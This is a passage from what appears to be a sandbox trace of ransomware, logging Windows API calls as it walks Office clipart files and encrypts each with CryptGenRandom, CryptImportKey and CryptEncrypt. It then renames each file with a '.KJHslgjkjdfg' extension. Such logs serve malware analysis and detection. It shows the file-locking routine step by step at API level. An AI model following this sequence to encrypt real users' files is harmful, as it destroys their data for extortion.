ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0203.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.642] GetProcessHeap () returned 0x2ef0000 [0203.642] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.642] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.642] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0203.647] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.647] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.647] GetProcessHeap () returned 0x2ef0000 [0203.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.647] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.647] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.648] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.648] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.648] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xef2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xef2, lpOverlapped=0x0) returned 1 [0203.648] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00, dwBufLen=0xf00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00) returned 1 [0203.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.648] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf00, lpOverlapped=0x0) returned 1 [0203.648] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.648] SetEndOfFile (hFile=0x130) returned 1 [0203.651] GetProcessHeap () returned 0x2ef0000 [0203.651] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.651] GetProcessHeap () returned 0x2ef0000 [0203.651] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.kjhslgjkjdfg")) returned 1 [0203.652] CloseHandle (hObject=0x130) returned 1 [0203.652] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0203.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.653] GetProcessHeap () returned 0x2ef0000 [0203.653] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.653] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.653] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0203.654] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.654] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.654] GetProcessHeap () returned 0x2ef0000 [0203.654] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.655] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.655] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.655] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.655] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.655] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.655] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.655] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.655] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.655] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.655] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3586, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3586, lpOverlapped=0x0) returned 1 [0203.656] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3590, dwBufLen=0x3590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3590) returned 1 [0203.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.656] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3590, lpOverlapped=0x0) returned 1 [0203.657] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.657] SetEndOfFile (hFile=0x130) returned 1 [0203.657] GetProcessHeap () returned 0x2ef0000 [0203.657] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.657] GetProcessHeap () returned 0x2ef0000 [0203.657] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.kjhslgjkjdfg")) returned 1 [0203.658] CloseHandle (hObject=0x130) returned 1 [0203.658] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0203.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.659] GetProcessHeap () returned 0x2ef0000 [0203.659] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.659] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.659] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.659] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.659] GetProcessHeap () returned 0x2ef0000 [0203.659] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.659] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.659] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.661] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.661] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.661] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.662] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.662] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.662] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.662] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b00, lpOverlapped=0x0) returned 1 [0203.662] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b00) returned 1 [0203.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.663] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b00, lpOverlapped=0x0) returned 1 [0203.663] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.663] SetEndOfFile (hFile=0x130) returned 1 [0203.665] GetProcessHeap () returned 0x2ef0000 [0203.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.665] GetProcessHeap () returned 0x2ef0000 [0203.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.kjhslgjkjdfg")) returned 1 [0203.666] CloseHandle (hObject=0x130) returned 1 [0203.666] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0203.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.668] GetProcessHeap () returned 0x2ef0000 [0203.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.668] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.668] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.670] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.670] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.670] GetProcessHeap () returned 0x2ef0000 [0203.670] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.670] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.670] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.670] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.670] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.670] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.670] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.670] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.670] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.670] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.670] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x164c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x164c, lpOverlapped=0x0) returned 1 [0203.671] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1650, dwBufLen=0x1650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1650) returned 1 [0203.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.671] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1650, lpOverlapped=0x0) returned 1 [0203.672] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.672] SetEndOfFile (hFile=0x130) returned 1 [0203.674] GetProcessHeap () returned 0x2ef0000 [0203.674] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.674] GetProcessHeap () returned 0x2ef0000 [0203.674] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.kjhslgjkjdfg")) returned 1 [0203.676] CloseHandle (hObject=0x130) returned 1 [0203.676] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0203.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.677] GetProcessHeap () returned 0x2ef0000 [0203.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.677] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.677] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 